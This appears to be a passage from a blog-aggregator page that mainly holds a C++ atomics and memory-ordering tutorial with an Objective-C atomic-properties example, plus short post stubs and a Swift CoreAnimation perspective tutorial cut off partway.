The existing package for the elementary Dark theme, aptly named elementary-dark-theme, is... really bad. It downloads the source archive over HTTP instead of HTTPS, doesn't use checksums to verify the download, gives the wrong source URL and license... So I put up elementary-dark, and filed a request to replace ("merge") the old package with the new one. After doing a lot of work with Debian packaging in the past, I was pleasantly surprised by how easy the PKGBUILD format is to work with.

comments

Concurrency: Atomics

Whacky Labs — Sat, 01 Nov 2014 07:58:54 GMT

I think we have covered most of the core concurrency concepts. With the current knowledge we are good enough to tackle all real world concurrency related problems. But this doesn’t means that we’ve covered everything the thread libraries have to offer. And by thread libraries I mean just the C++ standard thread library and libdispatch. For example, we’re yet to see std::future, std::promise, std::packaged_task, dispatch_barier, dispatch_source in action.

Today let’s focus on the low level of the libraries, atomics. Atomics are the lowest level that we can work with a thread library. Atomic operations provide the lowest level guarantee of ordering of operations. An operation is atomic if there is a guarantee that the operation would be never be left by any thread in an indeterminate state.

To make sure that the operation is atomic, internally the runtime could be either not switch the thread while an atomic operation is underway or maybe it simply uses a lock or whatever innovation the technology has to offer. As a user of the library, you just get the guarantee that atomic operation are indivisible.

To facilitate atomicity the C++ standard library offers a few atomic types. All the types offer a is_lock_free() function to test if the operation is done really not using any locks. Only exception is std::atomic_flag which is the always lock free.

Atomic Types

C++ provides a lot of atomic types. You can say that for almost all the fundamental types have an atomic equivalent. (And by fundamental types I mean bool and integers, no floating points, as you’ll see in a moment why). You can use them directly or as std::atomic<> template specialization. Here’s an example

std::atomic_bool b1;
std::atomic<bool> b2;

This same pattern is applied to all other fundamental types. Although, you can use them as your usual fundamental types, there are few operations that are not allowed. First striking constraint disallowed is copy and assign operation. This code won’t compile

void TryCopy()
{
    std::atomic<bool> b1(false);
    std::atomic<bool> b2 = b1;
}

Then how do we use these atomic types? This brings us to load() and store() operations. All atomic types except atomic_flag offer load(), store(), exchange(), compare_exchange_weak() and compare_exchange_strong() operations. Let’s take a look at what do they do.

load and store

If you’ve ever done a bit of assembly, you must be familiar with load and store operations. Load retrieves the data while store saves the data.

void DoLoad()
{
    std::atomic<int> i(10);
    std::atomic<int> j(i.load());
    std::cout << j << std::endl; // prints 10
}

void DoStore(const int n)
{
    std::atomic<int> i(0);
    i.store(n);
    std::cout << i << std::endl; // prints whatever n is
}

exchange

Apart from the basic load and store, you also get a bunch of exchange operations. An exchange operation does exactly what you’d expect, store a new value and return the old value.

void DoExchange(const int n)
{
    std::atomic<int> i(50);
    int j = i.exchange(n);
    std::cout << i << " " << j << std::endl; // j = i; i = n;
}

An exchange operation is basically a 3 step operation. First it loads the data, second it updates the data with new data, and third it stores the new data back. And this should explain why floating points are left out from fundamental types. Floating point types are not deterministic at comparison.

And since we’re dealing with the lowest level of concurrency operations. Sometimes you want a greater control over the execution. Maybe you need a stronger guarantee that the 3 step exchange was indeed done successfully before the running thread’s just ran out of time.

For such grained control the C++ standard library offers two more exchange operations. compare_exchange_weak() and compare_exchange_strong().

The compare_exchange_weak() returns false, if the exchange wasn’t successful. This could be because if the running thread’s time just ran out and was kicked out by the scheduler before it could finish the steps. This is called as spurious failure.

void DoExchangeWeak(const int desired)
{
    int expected = 50;
    std::atomic<int> i(expected);
    bool success = i.compare_exchange_weak(expected, desired);
    std::cout << std::boolalpha << success << " " << desired << " "
                << i << " " << expected << std::endl; // true 100 100 50
}

So if you want the exchange to run successfully every time, you probably need to put this operation under a loop. So that whenever the operation fails, you keep trying until it succeeds.

while (i.compare_exchange_weak(expected, desired) != true) {
}

Or, you can simply use compare_exchange_strong() which is guaranteed to eliminate all spurious failures.

bool success = i.compare_exchange_strong(expected, desired);

Both of these functions return false whenever the expected value is not same as the stored value. That is, whenever the comparison fails, and in that case the expected updates to whatever was the actual value. For example:

void DoExchangeWeak(const int desired)
{
    int expected = 0;
    std::atomic<int> i(5);
    bool success = i.compare_exchange_weak(expected, desired);
    std::cout << std::boolalpha << success << " "
    << desired << " " << i << " " << expected << std::endl;
    // false 1 5 5
}

For all fundamental types that support +=, -+, |=, &=, and ^=, the atomic types have equivalent fetch_add, fetch_sub, fetch_or, fetch_and, fetch_xor operation available.

void DoFetchAdd(const int n)
{
    std::atomic<int> i(100);
    int j = i.fetch_add(n);
    std::cout << i << " " << j << std::endl;
    //for n = 50; output: 150, 100 => j = i; i += n;
}

Finally, if you want your custom type to work as an atomic type, you can do that guaranteed that your custom type don’t do anything fancy. What that means in practical world is that your type should work with memcpy() and memcmp(). That is plain C types, no virtual table lookups. Here’s trivial example:

struct MyType {
    int a;
    int b;
};

std::ostream &operator<<(std::ostream &os, const MyType &t)
{
    os << "{" << t.a << ", " << t.b << "}";
    return os;
}

void DoCustomExchange()
{
    std::atomic<MyType> a;
    a.store({10, 20});

    MyType b = {11, 21};
    MyType c = a.exchange(b);

    std::cout << "a: " << a << std::endl; // a: {11, 21}
    std::cout << "b: " << b << std::endl; // b: {11, 21}
    std::cout << "c: " << c << std::endl; // c: {10, 20}
}

There’s big part dealing with memory ordering that we’ve simply skipped for now, but we shall come back to it later. Let’s now focus on the most important atomic type atomic_flag.

atomic_flag

Forget whatever that has been said about atomic types so far. None of that applies to std::atomic_flag. std::atomic_flag is different. You can say that std::atomic_flag is the core of the threading library. Its like the atom of the universe. Let’s start exploring std::atomic_flag.

Let’s consider scenario. On your social network you get a lot of LOL text that you just can’t understand. So, you decide to write a program to convert that text either into a full uppercase or full lower case.

class UnLOLText {

public:
    UnLOLText(const std::string &name) :
    username_(name),
    modify_(0)
    {
        srand((unsigned int)time(0));
    }

    void ToUpper()
    {
        while (modify_ < username_.size()) {
            username_[modify_] = toupper(username_[modify_]);
            modify_++;
        }
    }

    void ToLower()
    {
        while (modify_ < username_.size()) {
            username_[modify_] = tolower(username_[modify_]);
            modify_++;
        }
    }

    void Reset()
    {
        modify_ = 0;
    }

    friend std::ostream &operator<<(std::ostream &os, const UnLOLText &txt);

private:
    std::size_t modify_;
    std::string username_;
};

std::ostream &operator<<(std::ostream &os, const UnLOLText &txt)
{
    os << txt.username_;
    return os;
}

void Scene1()
{
    UnLOLText txt("hEy How aRe yoU dOinG!");
    txt.ToUpper();
    std::cout << "Serial upper: " << txt << std::endl;
    txt.Reset();
    txt.ToLower();
    std::cout << "Serial lower: " << txt << std::endl;
    txt.Reset();

}

Output:

Serial upper: HEY HOW ARE YOU DOING!
Serial lower: hey how are you doing!

The amount of such LOL text you receive is huge. So obviously you want to unLOL the the text concurrently.

class UnLOLText {
public:
    UnLOLText(const std::string &name) :
    username_(name),
    modify_(0),
    flag(ATOMIC_FLAG_INIT)
    {
        srand((unsigned int)time(0));
    }

    void ToUpper()
    {
        while(flag.test_and_set(std::memory_order_seq_cst)) {
        }

        while (modify_ < username_.size()) {
            username_[modify_] = toupper(username_[modify_]);
            modify_++;
            thread_sleep();
        }
        flag.clear(std::memory_order_release);
    }

    void ToLower()
    {
        while(flag.test_and_set(std::memory_order_seq_cst)) {
        }

        while (modify_ < username_.size()) {
            username_[modify_] = tolower(username_[modify_]);
            modify_++;
            thread_sleep();
        }
        flag.clear(std::memory_order_release);
    }

    void Reset()
    {
        modify_ = 0;
    }

    friend std::ostream &operator<<(std::ostream &os, const UnLOLText &txt);

private:
    void thread_sleep()
    {
        std::this_thread::sleep_for(std::chrono::microseconds(rand()%5+1));
    }

    size_t modify_;
    std::string username_;
    std::atomic_flag flag;
};

void Scene2()
{
    UnLOLText txt("hEy How aRe yoU dOinG!");

    std::thread tab1(&UnLOLText::ToUpper, &txt);
    std::thread tab2(&UnLOLText::ToLower, &txt);

    tab1.join();
    tab2.join();

    std::cout << "Concurrent random: " << txt << std::endl;

    txt.Reset();
}

Using the std::atomic_flag you can set the flag as soon as one of the threads select a routine and then clear it only after the entire modification is done. So, using std::atomic_flag you’re randomly selecting a thread and blocking all the rest.

This almost sounds like what std::mutex does right? In fact, using std::atomic_flag you can implement your own mutex object.

class CustomMutex {
public:
    CustomMutex() :
    flag(ATOMIC_FLAG_INIT)
    {}

    void lock()
    {
        while(flag.test_and_set(std::memory_order_seq_cst)) {
        }
    }

    void unlock()
    {
        flag.clear(std::memory_order_release);
    }

private:
    std::atomic_flag flag;
};

class UnLOLText {
public:
    UnLOLText(const std::string &name) :
    username_(name),
    modify_(0)
    {
        srand((unsigned int)time(0));
    }

    void ToUpper()
    {
        mutex_.lock();

        while (modify_ < username_.size()) {
            username_[modify_] = toupper(username_[modify_]);
            modify_++;
            thread_sleep();
        }

        mutex_.unlock();
    }

    void ToLower()
    {
        mutex_.lock();

        while (modify_ < username_.size()) {
            username_[modify_] = tolower(username_[modify_]);
            modify_++;
            thread_sleep();
        }

        mutex_.unlock();
    }

    void Reset()
    {
        modify_ = 0;
    }

    friend std::ostream &operator<<(std::ostream &os, const UnLOLText &txt);

private:

    void thread_sleep()
    {
        std::this_thread::sleep_for(std::chrono::microseconds(rand()%5+1));
    }

    size_t modify_;
    std::string username_;
    CustomMutex mutex_;
};

And since you’re so far, you can even just reap the benefits of std::lock_guard for locking and unlocking the mutex for you. Remember, std::lock_guard is based on RAII principles, so you get a exception-safe guarantee that no matter what the rest of the code does (except deadlock) your mutex will get unlocked.

class UnLOLText {
public:

    UnLOLText(const std::string &name) :
    username_(name),
    modify_(0)
    {
        srand((unsigned int)time(0));
    }

    void ToUpper()
    {
        std::lock_guard<CustomMutex> lock(mutex_);
        while (modify_ < username_.size()) {
            username_[modify_] = toupper(username_[modify_]);
            modify_++;
            thread_sleep();
        }
    }

    void ToLower()
    {
        std::lock_guard<CustomMutex> lock(mutex_);
        while (modify_ < username_.size()) {
            username_[modify_] = tolower(username_[modify_]);
            modify_++;
            thread_sleep();
        }
    }

    void Reset()
    {
        modify_ = 0;
    }

    friend std::ostream &operator<<(std::ostream &os, const UnLOLText &txt);

private:
    void thread_sleep()
    {
        std::this_thread::sleep_for(std::chrono::microseconds(rand()%5+1));
    }

    size_t modify_;
    std::string username_;
    CustomMutex mutex_;
};

Big deal, right? We just reinvented something that is already provided by the C++ standard library. And I guarantee they’ve a better implementation of the mutex. So, what can we extra out of working at such low level?

With std::atomic_flag you must’ve noticed we use std::memory_order_seq_cst and std::memory_order_release, what are they? They specify the memory ordering of operations. Let take the red pill and follow down the memory ordering hole.

Memory ordering

This is probably the weirdest topic you’ll encounter as a programmer, as this will put some doubts over your knowledge of how you thought instructions execute at the lower level.

First lets take a look at all types of memory orderings possible. Memory orderings are classified for 3 major classes of operations

Store : seq_cst, release and relaxed
Load : seq_cst, acquire, consume and relaxed
Exchange : seq_cst, acq_rel, acquire, release, consume, relaxed

If we think in terms of different memory models available, we can classify these operations as:

Default : seq_cst
Unordered : relaxed
Lock based : acquire, consume, release and acq_rel

You’re already familiar with sequentially consistent (seq_cst) for this is what you’ve been doing all your life. You see a piece of code and you follows through the lines of code top to bottom, because that’s how the execution works, right? Let’s see.

Let’s say there’s new trend that every awesome software company is following. They have placed a coffee machine and a fedora hat machine at the entrance lobby. And they require every employee to have a fedora hat on their heads or a cup of coffee in their hands to enter the office. They certainly like whe the employee gets both the items. According to a survey this allegedly increases the hip level of the employee and brings more energy and productivity in the office. Say each of these items increment the employee’s hip level by 1.

So company A tries to implement this with the default memory model. They noticed that some employees prefer wearing the hat first and then holding the coffee, while other hold the coffee first and then wear the hat. So they have two security systems, one that waits until employee wears a hat and then it checks if the employee also has a coffee. The second one does completely opposite, it first waits for the employee to hold the coffee and then checks if the employee also has a hat on. After both the security systems have reported back, the doors decides whether to grant entry or not.

namespace defult {
    std::atomic<bool> hasHat;
    std::atomic<bool> hasCoffee;
    std::atomic<int> hipLevel;
    
    void WearHat()
    {
        std::this_thread::sleep_for(std::chrono::seconds(rand()%3+1));
        hasHat.store(true, std::memory_order_seq_cst);
    }

    void HoldCoffee()
    {
        std::this_thread::sleep_for(std::chrono::seconds(rand()%3+1));
        hasCoffee.store(true, std::memory_order_seq_cst);
    }

    void CheckHatAndCoffee()
    {
        while (!hasHat.load(std::memory_order_seq_cst)) {
            /* wait till employee gets a hat */
        }

        if (hasCoffee.load(std::memory_order_seq_cst)) {
            hipLevel++;
        }
    }

    void CheckCoffeeAndHat()
    {
        while (!hasCoffee.load(std::memory_order_seq_cst)) {
            /* wait till employee gets a coffee */
        }

        if (hasHat.load(std::memory_order_seq_cst)) {
            hipLevel++;
        }
    }

    void EmployeeEnter()
    {
        hasHat = false;
        hasCoffee = false;
        hipLevel = 0;

        std::thread a(WearHat);
        std::thread b(HoldCoffee);
        std::thread c(CheckHatAndCoffee);
        std::thread d(CheckCoffeeAndHat);

        a.join();
        b.join();
        c.join();
        d.join();

        if (hipLevel == 0) {
            std::cout << "Entry denied" << std::endl;
        } else {
            std::cout << "Entry granted with hip level: " << hipLevel << std::endl;
        }
    }
}

If you follow the code, you’ll notice that there is no way an employee can be denied an entry. No matter how long an employee takes to get a coffee or a hat, as soon as he does one thing the observing security personnel will check the other item, if they have it good, otherwise whenever they get the other item the second security will activate and this time employee will definitely pass the test, as they already have the first item.

Company B follows the unordered memory model.

namespace unordered {
    std::atomic<bool> hasHat;
    std::atomic<bool> hasCoffee;
    std::atomic<int> hipLevel;

    void GetThings()
    {
        hasHat.store(true, std::memory_order_relaxed);
        hasCoffee.store(true, std::memory_order_relaxed);
    }

    void CheckCoffeeAndHat()
    {
        while (!hasCoffee.load(std::memory_order_relaxed)) {
            /* wait till employee gets a coffee */
        }

        if (hasHat.load(std::memory_order_relaxed)) {
            hipLevel++;
        }
    }

    void EmployeeEnter()
    {
        hasHat = false;
        hasCoffee = false;
        hipLevel = 0;

        std::thread a(GetThings);
        std::thread b(CheckCoffeeAndHat);

        a.join();
        b.join();

        if (hipLevel == 0) {
            std::cout << "Entry denied" << std::endl;
        } else {
            std::cout << "Entry granted with hip level: " << hipLevel << std::endl;
        }
    }

}

They came up with the idea that they don’t really need two security personnels. What they instead do is that they instruct their employees to wear a hat and get coffee. So, the security system has to only test for the coffee, because the employee must already have the hat by then. But this can procedure can fail, some of the employees can be denied entry. This is because the operations aren’t sequentially consistent anymore. When an employee is instructed to GetThings(), the employee sees it as there are 2 tasks they have to complete in relaxed manner, that is, perform whatever seems convenient. The employee has no idea if any other thread is monitoring its activities. It just cares enough that by the time it has to exit GetThings() it need to have executed both the tasks. So, in case the employee feels like getting the coffee first and then the hat, there’s nobody stopping them. While, the security system is under false impression that whenever a employee has a coffee in their hands they must also have a hat on their heads. So every once in a while the security system can encounter an employee that has a coffee in his hands but not hat yet, but the security system doesn’t waits for the employee to get the hat and instead immediately runs them through the door, which obviously denies them the entry. And it’s all due to the misunderstood relaxed memory ordering.

Company C learns the lessons from both companies A and B, and wants to get the best of both worlds. So it adopts the lock based memory model.

namespace lock {
    std::atomic<bool> hasHat;
    std::atomic<bool> hasCoffee;
    std::atomic<int> hipLevel;

    void GetThings()
    {
        hasHat.store(true, std::memory_order_relaxed);
        hasCoffee.store(true, std::memory_order_release);
    }

    void CheckCoffeeAndHat()
    {
        while (!hasCoffee.load(std::memory_order_acquire)) {
            /* wait till employee gets a coffee */
        }

        if (hasHat.load(std::memory_order_relaxed)) {
            hipLevel++;
        }
    }

    void EmployeeEnter()
    {
        hasHat = false;
        hasCoffee = false;
        hipLevel = 0;

        std::thread a(GetThings);
        std::thread b(CheckCoffeeAndHat);

        a.join();
        b.join();

        if (hipLevel == 0) {
            std::cout << "Entry denied" << std::endl;
        } else {
            std::cout << "Entry granted with hip level: " << hipLevel << std::endl;
        }
    }
}

Here the all the tasks are still relaxed, except for the check on coffee. The test on coffee is set as the synchronization point. Here hasCoffee serves as a token that both the employee and the security agrees on. The employee is free to do whatever it wishes to do in whatever order if they agree to perform the store on hasCoffee at the exact point as they’re expected to. It serves as a kind of checkpoint. Whenever an employee gets a coffee, it means that they have done all the prior tasks in whatever order that seems fit, nobody cares. So whenever the security system sees an employee has a coffee in their hands, it is guaranteed that all the tasks before it have been completed. So, now the check for the hat can be successfully executed.

Company D took a slightly different approach than company C.

namespace lock2 {
    std::atomic<bool> hasHat;
    std::atomic<bool> hasCoffee;
    std::atomic<int> hipLevel;

    void GetThings()
    {
        std::this_thread::sleep_for(std::chrono::seconds(rand()%3+1));
        hasHat.store(true, std::memory_order_relaxed);
        hasCoffee.store(true, std::memory_order_release);
    }

    void CheckCoffeeAndHat()
    {
        int naps_taken = 0;
        while (!hasCoffee.load(std::memory_order_consume)) {
            /* nap for a while */
            naps_taken++;
            std::this_thread::sleep_for(std::chrono::seconds(rand()%2+1));
        }

        std::cout << "Naps: " << naps_taken << std::endl;

        if (hasHat.load(std::memory_order_relaxed)) {
            hipLevel++;
        }
    }

    void EmployeeEnter()
    {
        hasHat = false;
        hasCoffee = false;
        hipLevel = 0;

        std::thread a(GetThings);
        std::thread b(CheckCoffeeAndHat);

        a.join();
        b.join();

        if (hipLevel == 0) {
            std::cout << "Entry denied" << std::endl;
        } else {
            std::cout << "Entry granted with hip level: " << hipLevel << std::endl;
        }
    }
}

It still uses lock based memory model, but instead of asking the security system to use acquire based loop they use consume based loop. What this means is that instead of constantly monitoring employees, the security system can take a nap once in a while and whenever they wake up they just assume that the employee has a coffee in their hands, if not it can go back to sleep. This approach works good when you have a somewhat predictable data on how long does an average employee takes to GetThings().

Atomics and Objecitve-C

Coming over to Objective-C, atomicity is simplified. All the properties are by default atomic. This is good news because if you’re using multiple threads to update the same property, you will always have a valid value for that property. But this doesn’t means that the entire object will be valid.

Let’s consider a employee record example:

@interface Employee : NSObject

@property (copy) NSString *firstName;
@property (copy) NSString *lastName;
@property int coffeeConsumed; // in litres

- (NSString *)description;
@end

@implementation Employee
- (id)init
{
    self = [super init];
    if (!self) {
        return nil;
    }

    _firstName = [@"Monty" copy];
    _lastName = [@"Burns" copy];
    _coffeeConsumed = 9235;

    return self;
}

- (void)dealloc

{

    self.firstName = nil;

    self.lastName = nil;

    [super dealloc];

}

- (NSString *)description;

{

    return [NSString stringWithFormat:@"%@ %@: %@ L",

            _firstName,

            _lastName,

            @(_coffeeConsumed)];

}

@end

We simply create a employee with some default values. Now suppose we try to update a single record concurrently

void updateRecord()

{
    dispatch_group_t wait = dispatch_group_create();
    dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);

    Employee *emp = [[Employee alloc] init];

    dispatch_group_enter(wait);
    dispatch_async(queue, ^{
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.firstName = @"Homer";
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.lastName = @"Simpson";
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.coffeeConsumed = 2045;
        dispatch_group_leave(wait);
    });

    dispatch_group_enter(wait);
    dispatch_async(queue, ^{
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.firstName = @"Lenny";
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.lastName = @"Leonard";
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.coffeeConsumed = 127;
        dispatch_group_leave(wait);
    });

    dispatch_group_enter(wait);
    dispatch_async(queue, ^{
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.firstName = @"Carl";
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.lastName = @"Carlson";
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        emp.coffeeConsumed = 598;
        dispatch_group_leave(wait);
    });

    dispatch_group_enter(wait);
    dispatch_async(queue, ^{
        [NSThread sleepForTimeInterval:rand()/(NSTimeInterval)RAND_MAX];
        NSLog(@"%@", emp);
        dispatch_group_leave(wait);
    });

    dispatch_group_wait(wait, DISPATCH_TIME_FOREVER);
    [emp release];
}

int main(int argc, char * argv[]) {
    @autoreleasepool {
        for (int i = 0; i < 3; ++i) {
            srand(time(0));
            updateRecord();
        }
        NSLog(@"Done");
    }
    return 0;
}

Output

2014-11-01 16:11:41.496 a.out[19307:1403] Carl Simpson: 9235 L
2014-11-01 16:11:43.314 a.out[19307:1a03] Homer Burns: 9235 L
2014-11-01 16:11:46.732 a.out[19307:1a03] Lenny Simpson: 2045 L
2014-11-01 16:11:47.558 a.out[19307:507] Done

You can see that even though the emp object is absurd every time, but yet all of its atomic properties have valid values all the time.

As far as I’m aware of nothing is known about atomicity and Swift, but I’m guessing it would be close to the Objective-C model.

As usual the code for today’s experiment is available at github.com/chunkyguy/ConcurrencyExperiments.

Have fun!

Performance of the zlog sequencer service

Noah Watkins — Sat, 01 Nov 2014 02:00:00 GMT

How fast can an integer be incremented and read over the network?

Screenshot Saturday 196

Evan Todd — Fri, 31 Oct 2014 20:11:49 GMT

This past weekend I exhibited Lemma at the Ohio Game Dev Expo. It was an awesome time. Extra Life raised over $9,000 for charity (yes, it is in fact over 9000).

The Oculus Rift was a huge hit!

I worked on various improvements right up to the expo. First, some new textures for moving platforms and doors:

This is the first texture I've created that has any kind of directional meaning. The reason is that until this week, I had no control over how the textures mapped to the voxels. It was all procedural. So if I put an arrow graphic in a texture, there was no guarantee which way it would face.

The background you should put on your smartphone

Welcome to Marco Fioretti's website! on Stop at Zona-M — Fri, 31 Oct 2014 08:10:00 GMT

In the 80’s, we all laughed like crazy at this Pioneer commercial, thinking

Trainspotting

🦉 olshansky 🦁 — Fri, 31 Oct 2014 04:35:14 GMT

Olshansky's review of Trainspotting

The fastest computer I have ever owned!

Jason Eckert's Website and Blog — Fri, 31 Oct 2014 02:00:00 GMT

I know it’s been a while since I’ve blogged last….I’ve just been incredibly busy. This past month, I’ve been teaching a video game class at the college, writing the 4th edition of my Linux+ book for Cengage on an accelerated schedule, and managing four technology faculties……all at the same time!

But today, I got a new computer: A Mac Pro (the higher end 6-core Xeon model with dual AMD FirePro D500s). I simply connect it via HDMI to my Alienware laptop and use the Fn+F8 key combination to switch between the Windows Desktop on my Alienware, and the Mac OS Desktop on my Mac Pro. Lots of power on a small amount of desk space!

Ex Machina

🦉 olshansky 🦁 — Thu, 30 Oct 2014 09:35:03 GMT

Olshansky's review of Ex Machina

Add Some Perspective to Your UIViews

Whacky Labs — Wed, 29 Oct 2014 21:49:00 GMT

The Safari for iOS has some very interesting perspective effect built-in. You can check that when you’ve multiple tabs open. How about building something like that? Those views are clearly UIView right? You can see the web content rendered, they have cross buttons. The content even periodically updates without launching the app using the background services probably.

Lets start with searching for something in the Apple’s documentation. As far as I was able to search, I only got so far to the Adding Perspective to Your Animations in the Apple’s Core Animation Programming Guide.

If you just scroll down the Advanced Animation Tricks page, at the bottom you’ll find around 10 lines and a small code snippet explaining how to add perspective to your CALayer object.

This is a good start, it’s not great as it skips a lot of details and that’s for a reason. To adding perspective, you have to be familiar with the linear algebra behind it, and we shall get to in the next session. But for now, let’s get started.

So, create a new single view project and add a new Swift file to it. Let’s call it PerspectiveView.swift.

class PerspectiveView: UIView {}

In the storyboard add a UIView and set its class to be PerspectiveView type. Next, we need a container view to hold any subview into it. We’ll apply perspective to this container view and hopefully the perspective gets applied to all the contained subviews. Let’s call this container view as contentView.

  let contentView = UIView()

  required init?(coder: NSCoder)
  {
    super.init(coder: coder)
    setUp()
  }

  override init(frame: CGRect)
  {
    super.init(frame: frame)
    setUp()
  }

I’ve set the background color of the main view as purple and the contentView as yellow just for debugging. Next, lets implement the setUp(). This is where we configure the contentView

  func setUp()
  {
    var viewDict:[String: UIView] = [String: UIView]()

    viewDict["contentView"] = contentView
    addSubview(contentView)

    if let imagePath:String = Bundle.main.path(forResource: "sample", ofType: "jpg") {
      let image = UIImage(contentsOfFile: imagePath)
      let imageView = UIImageView(image: image)
      imageView.translatesAutoresizingMaskIntoConstraints = false
      viewDict["imageView"] = imageView
      contentView.addSubview(imageView)
    }

    applyConstraints(viewDict: viewDict)
    applyPerspective()

    contentView.backgroundColor = .yellow
    backgroundColor = .purple
  }

We’re just creating required views here. Here we’re just adding the view that we wish to have perspective applied on to. For now, I’m just adding a single UIImageView.

Next up, applying constraints.

  func applyConstraints(viewDict:[String: UIView])
  {

    contentView.translatesAutoresizingMaskIntoConstraints = false
    contentView.addConstraints(NSLayoutConstraint.constraints(withVisualFormat: "H:[contentView(>=100)]",
                                                              options: [],
                                                              metrics: nil,
                                                              views: viewDict))
    contentView.addConstraints(NSLayoutConstraint.constraints(withVisualFormat: "V:[contentView(>=100)]",
                                                              options: [],
                                                              metrics: nil,
                                                              views: viewDict))


    contentView.addConstraints(NSLayoutConstraint.constraints(withVisualFormat: "H:|-[imageView]-|",
                                                              options: [],
                                                              metrics: nil,
                                                              views: viewDict))
    contentView.addConstraints(NSLayoutConstraint.constraints(withVisualFormat: "V:|-[imageView]-|",
                                                              options: [],
                                                              metrics: nil,
                                                              views: viewDict))

    addConstraints(NSLayoutConstraint.constraints(withVisualFormat: "H:|-[contentView]-|",
                                                  options: [],
                                                  metrics: nil,
                                                  views: viewDict))
    addConstraints(NSLayoutConstraint.constraints(withVisualFormat: "V:|-[contentView]-|",
                                                  options: [],
                                                  metrics: nil,
                                                  views: viewDict))
  }

I’m just centering all the subview. This is just me being lazy. You should probably add proper constraints to keep the image view aspect correct.

Now coming to the interesting part. Applying perspective.

We just call the calculatePerspectiveTransform() to do all the calculation and return back a CATransform3D object that we can simply apply to the CALayer of our contentView. As for the calculation let’s simply copy-paste the code from Core Animation Programming Guide to calculate the transform.

func calculatePerspectiveTransform() -> CATransform3D
{
    let eyePosition:Float = 10.0;
    var contentTransform:CATransform3D = CATransform3DIdentity
    contentTransform.m34 = CGFloat(-1/eyePosition)
    return contentTransform
}

func applyPerspective()
{
    contentView.layer.sublayerTransform = calculatePerspectiveTransform()
}

That’s it. Give it a run.

If for now we just ignore the distortion of the image, which is a constraints issue. There are some other questions to be answered first.

What is sublayerTransform?
Why is eyePosition 10?
What’s up with m34?
And most importantly, where’s the perspective?

Turns out, the snippet provided by the Core Animation Programming Guide just adds the perspective. But, in order to see it in action you still have to modify the transform a bit more. Let’s add a little translation to the transform.

func calculatePerspectiveTransform() -> CATransform3D
{
    let eyePosition:Float = 10.0;
    var contentTransform:CATransform3D = CATransform3DIdentity
    contentTransform.m34 = CGFloat(-1/eyePosition)
    contentTransform = CATransform3DTranslate(contentTransform, 0, 0, -20)
    return contentTransform
}

Good. But from this angle this looks just as if the image has been scaled down. Why not rotate it along x axis.

func calculatePerspectiveTransform() -> CATransform3D
{
    let eyePosition:Float = 10.0;
    var contentTransform:CATransform3D = CATransform3DIdentity
    contentTransform.m34 = CGFloat(-1/eyePosition)
    contentTransform = CATransform3DRotate(contentTransform, CGFloat(GLKMathDegreesToRadians(45)), 1, 0, 0)
    contentTransform = CATransform3DTranslate(contentTransform, 0, 0, -20)
    return contentTransform
}

Wow! Now we have some perspective. We can now either just tinker with the magic numbers until we get the desired effect, or we can get a deeper understanding of things and have a better control over things.

I prefer the latter. So let’s begin by answering some of the questions from above.

What is sublayerTransform?

If you look at the interface of CALayer, you’ll see there are two CATransform3D types.

class CALayer : NSObject, NSCoding, CAMediaTiming {
    /* other stuff */
    var transform: CATransform3D
    var sublayerTransform: CATransform3D
}

When you modify transform, the layer’s own content gets modified. Whereas, when you modify the sublayerTransform, the sublayers get modified, while the receiver’s layer remains untouched.

If you replace sublayerTransform with transform

contentView.layer.transform = calculatePerspectiveTransform()

You would get something like

See what I mean? Our contentView which had a background color yellow also got modified. Let’s undo that code change. We need the contentView unmodified for things like reading touch and gestures.

What is eyePosition?

For the code above, it’s enough to understand that eyePosition here just means the degree of perspective you want to have. If it is some larger value, the effect is less and if it is a smaller value, the effect more.

We shall look behind the maths of this in the next session with linear algebra. But for now you can try experimenting with values like 5, 50, 500, 5000, 50000 and see the changes yourself.

What’s up with m34?

There are mostly two kind of projections we see in computer graphics, the orthogonal projection and the perspective projection.

Orthogonal is the default projection used by any 2D system like UIKit. Whereas the perspective projection is used by all 3D systems, like a 3D game. The main difference is that in orthogonal projection the distance from the viewer is not accounted, or in other words the z axis is totally ignored.

CATransform3D transform is a 4×4 matrix. It works in a homogenous coordinate system. We will dive deeper into homogenous coordinate system in a later session. For now it’s enough to understand that the purpose of this matrix is to convert your points from a 3D space to a screen space which is in 2D.

The m34, or the value at 3rd row, 4th column of the matrix is the biggest hint whether the projection matrix is an orthogonal or a perspective. An orthogonal projection matrix typically has m34 as 0 while a perspective matrix has some negative value here, typically -1.

If in the above code, you simply set the value of m34 as 0, you’ll notice that all the perspective effect is gone!

func calculatePerspectiveTransform() -> CATransform3D
{
    let eyePosition:Float = 5000.0;
    var contentTransform:CATransform3D = CATransform3DIdentity
    contentTransform.m34 = 0
    contentTransform = CATransform3DRotate(contentTransform, CGFloat(GLKMathDegreesToRadians(45)), 1, 0, 0)
    contentTransform = CATransform3DTranslate(contentTransform, 0, 0, -20)
    return contentTransform
}

Of course, the view is scaled, because this isn’t a aspect correct orthogonal matrix, we’re still performing the rotation and the translation on the matrix. But the main perspective effect is gone.

With the basic questions answered, let’s now build a proper projection system. I’ll be using the GLKit, because it has all the things we need to build the system we want. Since, as of this writing GLKit isn’t available in Swift, we might have to do this work in Objective-C and return the CATransform3D object back to our Swift class, where we can simply apply it to our contentView.

// Transform.h
@interface Transform : NSObject
@property (nonatomic, readonly) CATransform3D transform;
@end

// PerspectiveView.swift
func applyPerspective()
{
    let contentTransform:Transform = Transform()
    contentView?.layer.sublayerTransform = contentTransform.transform
}

First we need a Camera class. Think of a camera. In a camera you control two things. First is the lens setting like the field of view, focus, aperture. The kind of things you usually set once before you begin the filming. The second is the camera motion, like the direction you want to point, rotating the camera and so forth.

/** Camera object */
@interface Camera : NSObject

/* lens */
// field of view - in radians
@property (nonatomic, readwrite) float fov;
@property (nonatomic, readwrite) float aspectRatio;

